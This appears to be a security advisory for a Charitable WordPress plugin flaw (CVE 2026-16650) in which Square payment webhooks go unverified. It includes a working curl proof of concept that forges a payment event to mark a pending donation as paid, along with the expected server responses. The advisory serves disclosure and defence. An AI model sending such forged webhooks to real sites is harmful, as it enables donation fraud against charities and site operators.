Charitable < 1.8.12 – Unauthenticated Donation Payment-Status Manipulation via Square Webhook Signature Bypass | CVE 2026-16650

Description

The plugin does not verify the authenticity of incoming Square payment webhook events in a default configuration, allowing unauthenticated attackers to forge webhook notifications that mark donations as paid without any real payment.

Proof of Concept

Prerequisite: the Square ("square_core") gateway is active on the site and no Square webhook signing secret has been stored, which is the state of the gateway until an administrator completes the webhook setup by hand.

A pending Square donation must exist. An attacker can create one themselves through the site's own donation form, which gives them its order id.

As an unauthenticated client, with no account, no cookies and no Square signature, POST a forged payment.updated event to the listener, replacing DONATION_ORDER_ID with the order id of that pending donation:

curl -i -X POST 'https://victim.example/?charitable-listener=square_core' \
  -H 'Content-Type: application/json' \
  --data-binary '{"merchant_id":"FORGED","type":"payment.updated","data":{"type":"payment","object":{"payment":{"id":"FORGED_PAYMENT_ID","order_id":"DONATION_ORDER_ID","status":"COMPLETED","card_details":{"status":"CAPTURED"},"receipt_url":"https://attacker.example/r"}}}}'

Result: HTTP 200 with the body "Donation Webhook: Payment updated". The donation moves from charitable-pending to charitable-completed and its stored gateway payment id becomes FORGED_PAYMENT_ID, with no payment ever taken through Square.

Control: the same request with the merchant_id key removed returns HTTP 500 "Invalid Square event" and leaves the donation pending, showing that the presence of that key is the only check made on the event and that no signature is verified.